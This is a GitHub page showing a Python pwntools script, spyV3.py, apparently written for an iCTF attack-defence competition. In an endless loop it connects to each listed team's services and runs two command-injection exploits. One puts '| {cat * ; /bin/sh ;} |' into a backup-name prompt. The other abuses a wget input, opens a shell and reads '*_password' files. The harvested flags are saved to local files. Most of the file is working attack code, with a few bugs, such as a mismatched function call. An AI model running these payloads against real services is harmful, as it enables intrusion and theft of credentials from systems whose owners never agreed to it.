-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathspyV3.py
86 lines (77 loc) · 2.64 KB
/
spyV3.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/env python
from pwn import *
def writeflag (team,flagdata, exp_type):
with open('flags/'+team+"_"+exp_type+".txt","w+") as fout:
fout.write (flagdata)
fout.close()
def backup_flag (teamid , teamip):
print ("%s --- %s"%(teamid, teamip))
#
# Establih a Connection to the Server
try:
c = remote(teamip,10001)
print c.readuntil('>')
print c.sendline('2')
print c.readuntil('Select a name for your backup:')
print c.sendline('| {cat * ; /bin/sh ;} |')
print c.readuntil('Choose a secure password for your backup:')
print c.sendline(' ')
print c.readuntil('Here is your backup data that was stored securely:')
print c.sendline('ls')
print c.sendline('cat *')
flagfile = c.recvall(timeout=1)
print ("%s"%(flagfile))
c.close()
except:
flagfile = "Server Not Available"
else:
return flagfile
def sampleak_flag (teamid , teamip):
print ("%s --- %s"%(teamid, teamip))
#
# Establih a Connection to the Server
try:
c = remote(teamip,10003)
print c.sendline('wget ' + teamip +'/10003/attend&kids=*')
print c.readuntil('Redirecting output to wget-log*')
print c.sendline('/bin/sh/')
print c.sendline('cd /opt/ictf/services/sampleak/append')
print c.sendline('ls')
print c.sendline('cat *_password')
flagfile = c.recvall(timeout=1)
print ("%s"%(flagfile))
c.close()
except:
flagfile = "Server Not Available"
else:
return flagfile
badServer = {}
def main (exp_type):
try:
with open ("spy.dat","r+") as file:
print ("TeamID IP ")
for lines in file:
if (len(lines) == 0):
break
data = lines.split(",")
teamid = data[0]
teamip = data[1]
print (badServer.get(teamid))
if (badServer.get(teamid) != "None"):
#print ("%s --- %s"%(teamid,teamip))
if (exp_type == "backup"):
flagdata = backup_flag(teamid,teamip)
elif (exp_type == "sampleak"):
flagdata = sampleak_flag(teamid, teamip)
#print ("%s---%s"%(teamid,flagdata))
writeflag (teamid,flagdata)
file.close()
except:
print ('Invalid Connection %s '%(teamid))
badServer [teamid]='InvalidConnection'
# Main routine
if __name__ == "__main__":
while True:
main("backup")
main("sampleak")
time.sleep(1)